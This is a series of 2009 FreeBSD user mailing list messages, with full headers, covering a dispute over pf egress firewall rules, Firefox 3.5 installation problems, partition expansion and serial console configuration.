> > > > > > > > > > > > > > > > pass in quick on $ext_if proto tcp from any to me port > > > > > {25,587,465,22} > > > > > > > keep > > > > > > > > > state > > > > > > > > > pass out quick on $ext_if proto tcp from me to any port > {25} > > > keep > > > > > state > > > > > > > > > pass out quick on $ext_if proto upd from me to any port > > > {53,123} > > > > > keep > > > > > > > state > > > > > > > > > block all > > > > > > > > > > > > > > > > > > (note that's only an example, there may be some fine points > I'm > > > > > > > missing) > > > > > > > > > > > > > > > > > > One thing that had not yet been mentioned when I posted my > > > earlier > > > > > > > comment, > > > > > > > > > is that this system is a combination firewall/web server. > That > > > > > makes > > > > > > > the > > > > > > > > > rules more complicated, but the setup is still possible: > > > > > > > > > > > > > > > > > > pass in quick on $ext_if proto tcp from any to me port {80} > > > keep > > > > > state > > > > > > > > > pass out quick on $ext_if proto upd from me to any port > > > {53,123} > > > > > keep > > > > > > > state > > > > > > > > > pass out quick on $ext_if from $internal_network to any all > > > keep > > > > > state > > > > > > > > > block all > > > > > > > > > > > > > > > > > > Which allows limited outgoing traffic originating from the > box > > > > > itself, > > > > > > > > > but allows unlimited outgoing traffic from systems on > > > > > > > $internal_network. > > > > > > > > > > > > > > > > > > I've done this with great success. In fact, I had a fun > time > > > where > > > > > a > > > > > > > > > client in question was infected with viruses out the wazoo, > but > > > the > > > > > > > > > viruses never spread off their local network because I only > > > allowed > > > > > > > > > SMTP traffic to their SMTP relay, which required SMTP auth > > > (thus > > > > > the > > > > > > > > > viruses couldn't send mail) > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > -- > > > > > > > > Adam Vande More > > > > > > > > _______________________________________________ > > > > > > > > freebsd-questions@freebsd.org mailing list > > > > > > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > > > > > > > To unsubscribe, send any mail to " > > > > > > > freebsd-questions-unsubscribe@freebsd.org" > > > > > > > > > > > > > > > > > > > > > -- > > > > > > > Bill Moran > > > > > > > http://www.potentialtech.com > > > > > > > http://people.collaborativefusion.com/~wmoran/ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > -- > > > > > > Adam Vande More > > > > > > > > > You said block by destination port. What you presented is not this, > > > > although it gives give a functional environment of it. Sorry for the > > > > pedantic pursuit here, but IMO terminology is important here. > > > > > > Both of my examples are filtering based on destination port. In > reviewing > > > this thread, you make the statement "destination ports are ephemeral" > which > > > is wrong. I can only assume that your understanding of IP port usage > is > > > wrong or incomplete. > > > > > > > blocking destination port != keep state > > Why not? Because you said so? > > > and destination port are certainly ephemeral simply depends on pov. Your > > original statement indicated blocking by port at egress was the way to > go. > > Your example did no such thing, it tracked state which is completely > > different from both a functional and technical standpoint. > > This paragraph serves to further convince me that you are getting > concepts confused. I see no reason for me to continue discussing this. > > Specifically what am I confused on? Or are you just going to continue with the personal attacks? You've offered no technical rebuttal, simply insults. -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 13:55:14 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 80E331065691 for ; Wed, 26 Aug 2009 13:55:14 +0000 (UTC) (envelope-from j.mckeown@ru.ac.za) Received: from d.mail.ru.ac.za (d.mail.ru.ac.za [IPv6:2001:4200:1010::25:4]) by mx1.freebsd.org (Postfix) with ESMTP id B670D8FC28 for ; Wed, 26 Aug 2009 13:55:13 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=ru-msa; d=ru.ac.za; h=Received:From:Organization:To:Subject:Date:User-Agent:References:In-Reply-To:X-Face:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id:X-Virus-Scanned:X-Authenticated-User; b=V3B1WTc6kBpIH9O5kYkv1Dbf5+o2reHQQqQdfu2D7kxQNkecFpoyHuee2F6zduZYbWE2sOhT09sz5U7Tp//fWT4P/8pflU8Gns3iIUEfaSggCl8GKFO84vGHaZrhHUKi; Received: from vorkosigan.ru.ac.za ([2001:4200:1010:1058:219:d1ff:fe9f:a932]:64350) by d.mail.ru.ac.za with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MgIxx-000O39-NK for freebsd-questions@freebsd.org; Wed, 26 Aug 2009 15:55:09 +0200 From: Jonathan McKeown Organization: Rhodes University To: freebsd-questions@freebsd.org Date: Wed, 26 Aug 2009 15:55:09 +0200 User-Agent: KMail/1.9.10 References: <4A924601.3000507@lim.nl> <20090826093023.e46f6175.wmoran@potentialtech.com> <6201873e0908260644o1192ec0du3b87784eaa14f733@mail.gmail.com> In-Reply-To: <6201873e0908260644o1192ec0du3b87784eaa14f733@mail.gmail.com> X-Face: $@VrUx^RHy/}yu]jKf/<4T%/d|F+$j-Ol2"2J$q+%OK1]&/G_S9(=?utf-8?q?HkaQ*=60!=3FYOK=3FY!=27M=60C=0A=09aP=5C9nVPF8Q=7DCilHH8l=3B=7E!4?= =?utf-8?q?2HK6=273lg4J=7Daz?=@1Dqqh:J]M^"YPn*2IWrZON$1+G?oX3@ =?utf-8?q?k=230=0A=0954XDRg=3DYn=5FF-etwot4U=24b?=dTS{i X-Virus-Scanned: d.mail.ru.ac.za (2001:4200:1010::25:4) X-Authenticated-User: s0900137 from vorkosigan.ru.ac.za (2001:4200:1010:1058:219:d1ff:fe9f:a932) using auth_plaintext Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 13:55:14 -0000 On Wednesday 26 August 2009 15:44:41 Adam Vande More wrote: [450 lines including multiple signatures and twelve levels of quoting, all = to=20 say:] > Specifically what am I confused on? =A0Or are you just going to continue > with the personal attacks? =A0You've offered no technical rebuttal, simply > insults. Please, take it to email - or at least learn to trim (ideally both). From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 13:56:30 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E41BC106568F for ; Wed, 26 Aug 2009 13:56:30 +0000 (UTC) (envelope-from nvass9573@gmx.com) Received: from mail.gmx.com (unknown [213.165.64.42]) by mx1.freebsd.org (Postfix) with SMTP id 3A2A78FC2F for ; Wed, 26 Aug 2009 13:56:30 +0000 (UTC) Received: (qmail invoked by alias); 26 Aug 2009 13:56:28 -0000 Received: from adsl-23.79.107.25.tellas.gr (EHLO [192.168.23.10]) [79.107.25.23] by mail.gmx.com (mp-eu004) with SMTP; 26 Aug 2009 15:56:28 +0200 X-Authenticated: #46156728 X-Provags-ID: V01U2FsdGVkX1+yYZIgW4uyxXKU/dV3DDrImjhtgcudVfnGrD0CR1 Xjc/ous2yYRDAW Message-ID: <4A953EF3.5010305@gmx.com> Date: Wed, 26 Aug 2009 16:56:03 +0300 From: Nikos Vassiliadis User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: RW , jalmberg@identry.com References: <20090826142221.0807dc75@gumby.homeunix.com> In-Reply-To: <20090826142221.0807dc75@gumby.homeunix.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-FuHaFi: 0.6 Cc: freebsd-questions@freebsd.org Subject: Re: Can partitions span more than one drive? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 13:56:31 -0000 RW wrote: > On Wed, 26 Aug 2009 08:45:47 -0400 > John Almberg wrote: > > >> Question: is it possible to just expand my existing /backup >> partition to encompass both the current drive and the new drive? I'm >> guessing not, since Chapter 8 in "Absolute FreeBSD" says that a >> partition is part of a slice, > > You can join 2 partitions into 1 with gconcat. OTOH that would wipe any > existing data as you would need to put a new filesystem on the combined > partition. No, you can always use growfs to expand the filesystem. But of course, the usual warnings apply, read carefully the growfs manual... Nikos From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 14:21:58 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ECD2C1065692 for ; Wed, 26 Aug 2009 14:21:58 +0000 (UTC) (envelope-from af300wsm@gmail.com) Received: from mail-vw0-f189.google.com (mail-vw0-f189.google.com [209.85.212.189]) by mx1.freebsd.org (Postfix) with ESMTP id A4F678FC23 for ; Wed, 26 Aug 2009 14:21:58 +0000 (UTC) Received: by vws27 with SMTP id 27so136832vws.3 for ; Wed, 26 Aug 2009 07:21:57 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=louoGuFDYoMfIBdwJTIva0EP/EWFMYPYu2IkhkhWQGE=; b=H/kXssx3v4tyJFjZY4Yb3QLM2VznYiO8pDyob7j7wtsmiUry2Je2cs/aEAABmTCGzo Blo7238LNSc22bQZv4rmBrXQE04oizEReL+pYo4W9zruFAzu2ZrI0ovmzX1E6Tn/tj3I 0+p9zJIM6N1xh6caZm61lN/9+1/VQ0uAoMPGg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=FWchBDKXsNecuixQa3X2/Crvp2rv0enh91nMD8H4+O8ZI3U2ThP3AFb0FxV591dYz5 7huKzh9flpaCPVQIIOEQ7MUGvLApIi9qtMjgceiBLPw74YZPHFFj2HjQ6V0BhgNWGSp2 ruWp5OOiMlWVs3UAGi5nZnjqb88sznR8mE8tw= MIME-Version: 1.0 Received: by 10.220.80.29 with SMTP id r29mr10437411vck.45.1251296517730; Wed, 26 Aug 2009 07:21:57 -0700 (PDT) Date: Wed, 26 Aug 2009 08:21:57 -0600 Message-ID: <340a29540908260721u4c91d959y2030790126bdc37a@mail.gmail.com> From: Andrew Falanga To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Firefox 3.5 on FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 14:21:59 -0000 Hi, Well, I installed firefox 3.5 on my box at home but it wasn't working correctly. Every time I'd start it I'd get, "Bad system call (core dump)," or something similar. Does anyone here run firefox 3.5 on their box? If so, what is the trick? Andy -- A: Because it messes up the order in which people normally read text. Q: Why is it such a bad thing? A: Top-posting. Q: What is the most annoying thing on usenet and in e-mail? From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 14:23:38 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9ED591065690; Wed, 26 Aug 2009 14:23:38 +0000 (UTC) (envelope-from serenity@exscape.org) Received: from ch-smtp01.sth.basefarm.net (ch-smtp01.sth.basefarm.net [80.76.149.212]) by mx1.freebsd.org (Postfix) with ESMTP id 2CC228FC29; Wed, 26 Aug 2009 14:23:38 +0000 (UTC) Received: from c83-253-252-234.bredband.comhem.se ([83.253.252.234]:51396 helo=mx.exscape.org) by ch-smtp01.sth.basefarm.net with esmtp (Exim 4.68) (envelope-from ) id 1MgJOU-0000KL-5h; Wed, 26 Aug 2009 16:22:36 +0200 Received: from [192.168.1.5] (macbookpro [192.168.1.5]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mx.exscape.org (Postfix) with ESMTPSA id AD1F0457CB; Wed, 26 Aug 2009 16:22:32 +0200 (CEST) Message-Id: <41DD14F2-DCF8-4CA7-AFC0-7EB766A07DF0@exscape.org> From: Thomas Backman To: freebsd-questions@freebsd.org In-Reply-To: <2E76B1A5-C7B3-4845-9919-1C9FFC7EDA63@exscape.org> Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Wed, 26 Aug 2009 16:22:29 +0200 References: <2E76B1A5-C7B3-4845-9919-1C9FFC7EDA63@exscape.org> X-Mailer: Apple Mail (2.936) X-Originating-IP: 83.253.252.234 X-Scan-Result: No virus found in message 1MgJOU-0000KL-5h. X-Scan-Signature: ch-smtp01.sth.basefarm.net 1MgJOU-0000KL-5h 1def38f241ab7a5f5c0ae62961ecdee7 Cc: FreeBSD current Subject: Re: Serial console trouble: loader and login works, but no kernel messages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 14:23:38 -0000 On Aug 23, 2009, at 14:18, Thomas Backman wrote: > First off: Not subscribed to this list, please make sure to Cc me if > you don't reply directly. :) > > Anyway, I finally got my null modem cable, and plugged in in between > a machine running 8.0-BETA2 and one running WinXP using Hyperterminal. > > My settings: > > /boot/loader.conf: > boot_multicons="YES" > boot_serial="YES" > comconsole_speed="115200" > console="comconsole,vidconsole" > > /etc/ttys: > # Serial terminals > # The 'dialup' keyword identifies dialin lines to login, fingerd etc. > ttyu0 "/usr/libexec/getty std.115200" vt100 on secure > > /boot.config (which is read properly): > -Dh -S115200 > > Anything wrong in the above? > Hyperterminal is set to 115200 bps, 8 bits, no parity, 1 stop bit, > and no flow control (if that's the correct translation to English). > > On the serial console, I go from the screen with the FreeBSD logo, > with single-user options etc. (which works fine), and then nothing, > until a login tty pops up (which also works fine). The main, if not > only, reason I want a serial console is to be able to use it for > single user mode, DDB, and so on. > All kernel messages, and all rc messages are seen only on the > graphics card; the serial console receives nothing but the "/ > boot.config: -Dh ...", the logo screen, and then the login screen, > during startup and *nothing* at all during shutdown. Also, I'm able > to login and use the system both via the serial console and via the > graphics card/keyboard... Is this supposed to be? I'm not > complaining, I just got the impression it was one or the other. > > Any advice on how to get the kernel/rc messages etc. to the serial > console (only or as well)? > > Regards, > Thomas OK, so to rule out any installation-related problems, I booted from a bootonly install CD (a May ~5th snapshot of 8.0-CURRENT), with "boot - h -S115200". Same thing: bootloader stuff on the serial console, kernel messages on the local computer only - and very slowly, at that, I'd say about one line a second. You could very easily see the characters being written to the screen. Am I the only one having these problems? It'd suck to buy a rather expensive (probably because they're pretty rare these days, plus I had to order from abroad) null modem cable and have it be completely useless. Regards, Thomas From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 14:24:30 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 780E9106568D for ; Wed, 26 Aug 2009 14:24:30 +0000 (UTC) (envelope-from freebsd-questions@pp.dyndns.biz) Received: from proxy2.bredband.net (proxy2.bredband.net [195.54.101.72]) by mx1.freebsd.org (Postfix) with ESMTP id 2F0AD8FC28 for ; Wed, 26 Aug 2009 14:24:29 +0000 (UTC) Received: from iph2.telenor.se (195.54.127.133) by proxy2.bredband.net (7.3.140.3) id 4A8FF7140017B1E8 for freebsd-questions@freebsd.org; Wed, 26 Aug 2009 16:24:29 +0200 X-SMTPAUTH-B2: X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao1pAF/ilEpV4jsLPGdsb2JhbACBU4g4kHsBAQEBN71QhBoF X-IronPort-AV: E=Sophos;i="4.44,279,1249250400"; d="scan'208";a="38435153" Received: from c-0b3be255.107-1-64736c10.cust.bredbandsbolaget.se (HELO gatekeeper.pp.dyndns.biz) ([85.226.59.11]) by iph2.telenor.se with ESMTP; 26 Aug 2009 16:24:29 +0200 Received: from [192.168.69.67] (phobos [192.168.69.67]) by gatekeeper.pp.dyndns.biz (8.14.3/8.14.3) with ESMTP id n7QEORH8066722 for ; Wed, 26 Aug 2009 16:24:27 +0200 (CEST) (envelope-from freebsd-questions@pp.dyndns.biz) Message-ID: <4A95459A.6050406@pp.dyndns.biz> Date: Wed, 26 Aug 2009 16:24:26 +0200 From: =?ISO-8859-1?Q?Morgan_Wesstr=F6m?= User-Agent: Thunderbird 2.0.0.22 (X11/20090807) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <4A924601.3000507@lim.nl> <20090826093023.e46f6175.wmoran@potentialtech.com> <6201873e0908260644o1192ec0du3b87784eaa14f733@mail.gmail.com> <200908261555.09551.j.mckeown@ru.ac.za> In-Reply-To: <200908261555.09551.j.mckeown@ru.ac.za> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 14:24:30 -0000 Jonathan McKeown wrote: > On Wednesday 26 August 2009 15:44:41 Adam Vande More wrote: > > [450 lines including multiple signatures and twelve levels of quoting, all to > say:] > >> Specifically what am I confused on? Or are you just going to continue >> with the personal attacks? You've offered no technical rebuttal, simply >> insults. > > Please, take it to email - or at least learn to trim (ideally both). No, please keep it on the list. I really, really want to see what concensus you reach. :-) From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 14:26:07 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 96C4B1065672 for ; Wed, 26 Aug 2009 14:26:07 +0000 (UTC) (envelope-from erikt@midgard.homeip.net) Received: from ch-smtp02.sth.basefarm.net (ch-smtp02.sth.basefarm.net [80.76.149.213]) by mx1.freebsd.org (Postfix) with ESMTP id 4FADD8FC27 for ; Wed, 26 Aug 2009 14:26:07 +0000 (UTC) Received: from c83-255-48-78.bredband.comhem.se ([83.255.48.78]:57945 helo=falcon.midgard.homeip.net) by ch-smtp02.sth.basefarm.net with esmtp (Exim 4.68) (envelope-from ) id 1MgJRl-0005G0-9B for freebsd-questions@freebsd.org; Wed, 26 Aug 2009 16:25:59 +0200 Received: (qmail 80497 invoked from network); 26 Aug 2009 16:25:55 +0200 Received: from owl.midgard.homeip.net (10.1.5.7) by falcon.midgard.homeip.net with ESMTP; 26 Aug 2009 16:25:55 +0200 Received: (qmail 99167 invoked by uid 1001); 26 Aug 2009 16:25:55 +0200 Date: Wed, 26 Aug 2009 16:25:55 +0200 From: Erik Trulsson To: Andrew Falanga Message-ID: <20090826142555.GA99135@owl.midgard.homeip.net> References: <340a29540908260721u4c91d959y2030790126bdc37a@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <340a29540908260721u4c91d959y2030790126bdc37a@mail.gmail.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Originating-IP: 83.255.48.78 X-Scan-Result: No virus found in message 1MgJRl-0005G0-9B. X-Scan-Signature: ch-smtp02.sth.basefarm.net 1MgJRl-0005G0-9B 53ca9fa974b526c44080795633d82566 Cc: freebsd-questions@freebsd.org Subject: Re: Firefox 3.5 on FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 14:26:07 -0000 On Wed, Aug 26, 2009 at 08:21:57AM -0600, Andrew Falanga wrote: > Hi, > > Well, I installed firefox 3.5 on my box at home but it wasn't working > correctly. Every time I'd start it I'd get, "Bad system call (core dump)," > or something similar. Does anyone here run firefox 3.5 on their box? If > so, what is the trick? kldload sem See the 20090628 entry in /usr/ports/UPDATING -- Erik Trulsson ertr1013@student.uu.se From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 14:36:22 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0D234106568E for ; Wed, 26 Aug 2009 14:36:22 +0000 (UTC) (envelope-from geo.liaskos@gmail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id 96C708FC25 for ; Wed, 26 Aug 2009 14:36:21 +0000 (UTC) Received: by fxm6 with SMTP id 6so162589fxm.43 for ; Wed, 26 Aug 2009 07:36:20 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=WjsZXBHUZl6HNwx+wgdxUZHdzIiZTHyF5bB/4h3TKrc=; b=FEMwUc/Am4qX4yraJm1/Xi/JqTTYVRqS83C/y57P47zshkx26ulbbQWPVX+K+rflbY fwu6erK3xNHFIItDfvJoPu6443V1DQN/TaM6/Nenu5Kpm1TUqytydwksTPsBPdV7BUtx CdOWLIrbsBLFbAs6opcoyjsr/E8lPWdOYdsEU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=s/Y/QBTgknmudRWerBwKBnywb3jcNc3ihFOJtJk/BcdAJW+MgLCOOUlqHBG3GK1lFY 3M41j+eSQ8BNg/t8lUDlstrJMMeh1OmMoVPVKEzu40IeP7hQ9D7mi6CUHUAiZwsuOE3w dLlecpwxXz3L5Ah0+iHcREfj/FBSYf94O9ono= MIME-Version: 1.0 Received: by 10.239.143.216 with SMTP id l24mr781945hba.166.1251297380326; Wed, 26 Aug 2009 07:36:20 -0700 (PDT) In-Reply-To: <20090826063036.1f8bd20f@scorpio.seibercom.net> References: <20090826063036.1f8bd20f@scorpio.seibercom.net> Date: Wed, 26 Aug 2009 17:36:20 +0300 Message-ID: From: George Liaskos To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Subject: Re: Removing firefox-2.0.0.20_9,1 from system X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 14:36:22 -0000 Add WITH_GECKO=3Dlibxul to your /etc/make.conf and run portmaster -o to replace firefox with firefox35. http://www.freebsd.org/gnome/docs/faq226.html#q1 http://www.freebsd.org/cgi/man.cgi?query=3Dportmaster&sektion=3D8&apropos= =3D0&manpath=3DFreeBSD+7.2-RELEASE+and+Ports On Wed, Aug 26, 2009 at 1:30 PM, Jerry wrote: > I recently installed openoffice.org-3.1.0_2 on my system. For some > reason it brought in firefox-2 also. I all ready had Firefox-3.5 > installed. I do not want or need two different installations of Firefox > on my system. > > Firefox-2 appears to be required by these programs. > > /var/db/pkg $ pkg_info -R firefox-2.0.0.20_9,1 > Information for firefox-2.0.0.20_9,1: > > Required by: > gegl-0.0.22_6 > gimp-2.6.6,2 > gimp-app-2.6.6_3,1 > gimp-gutenprint-5.1.7_2 > gimp-help-2.4.2_1 > librsvg2-2.26.0_1 > > I am not sure why these programs require Firefox-2 since Firefox-3.5 > was installed prior to their installation. > > Is there any way I can safely remove Firefox-2 and force the use of > Firefox-3.5 instead without breaking anything? > > -- > Jerry > gesbbb@yahoo.com > > Harp not on that string. > > =A0 =A0 =A0 =A0William Shakespeare, "Henry VI" > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" > From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 14:37:50 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5CAD1106568D for ; Wed, 26 Aug 2009 14:37:50 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp102.prem.mail.ac4.yahoo.com (smtp102.prem.mail.ac4.yahoo.com [76.13.13.41]) by mx1.freebsd.org (Postfix) with SMTP id DE6468FC2B for ; Wed, 26 Aug 2009 14:37:49 +0000 (UTC) Received: (qmail 69165 invoked from network); 26 Aug 2009 14:37:49 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Received:Date:From:To:Subject:Message-ID:In-Reply-To:References:Reply-To:Organization:X-Mailer:Face:Mime-Version:Content-Type:Content-Transfer-Encoding; b=ck+BCQliUSLw/gX/y50tVruwaw3f8iVxEhrhS5/vSlxPwGqPhwo68KLc5YFF/94pCRkmmbaP5OOK918ir2u6iHKQxQJ5k1MDMmph4iCnlOvfk64ffHU9W6Z+2TAF+hT+hZK4NoGaGRYQ5C6SuTJNwWE1RyMlxggKbB0K/B8J8z4= ; Received: from c-67-189-183-172.hsd1.ny.comcast.net (gesbbb@67.189.183.172 with login) by smtp102.prem.mail.ac4.yahoo.com with SMTP; 26 Aug 2009 07:37:49 -0700 PDT X-Yahoo-SMTP: yeAAMgKswBATCul4lSbCWspvTA-- X-YMail-OSG: gcSvEy4VM1miOp7mRDlIy.D9Tk27aq1HeelwI2H5QvXN1eEosgzXacQbskSAZfajVY9xoT75GoTTqmZ2tSleOhgOGucxmvUV6ELxsDkPrSkV4OL27bExtKjbajPn_PrYG41QxOZ_TXdtCmnqz3oXvEXJw5B48WyoxmxQ9RWIz.RRso2ScAUnov9WeEVGnisIw7gFOHYGw1Azu3t1k9eK551jH61FIChFSnSeB.fx8XKI_AWb0NeL61fRLIKj1x9reR2ha7VgWONGV1pTgE3MpqKsoYqNYpFOxVmjV6cr8tC7LTrgOrVu4rLr8zlWa8bMb8EGyY1TpjgjOKH1rLDHyHQ_sH4gDvnQYWrkv.c- X-Yahoo-Newman-Property: ymail-3 Received: from scorpio.seibercom.net (localhost [127.0.0.1]) (Authenticated sender: gesbbb@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPA id 5076C22831 for ; Wed, 26 Aug 2009 10:37:48 -0400 (EDT) Date: Wed, 26 Aug 2009 10:37:48 -0400 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20090826103748.2e9fb2ae@scorpio.seibercom.net> In-Reply-To: <20090826103209.GA1127@ideapad.piggybox> References: <20090826103209.GA1127@ideapad.piggybox> Organization: seibercom.net X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Firefox 3.5... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 14:37:50 -0000 On Wed, 26 Aug 2009 11:32:09 +0100 Peter Harrison wrote: > I've Firefox 3.0.11,1 on my 7.2-release system at the moment. Anyone > offer some advice on moving up to 3.5? > > Is it as simple as pkg_delete'ing 3.0 and then installing 3.5? I used: pkg_delete -dfv Firefox 3.0.11,1 It worked fine. 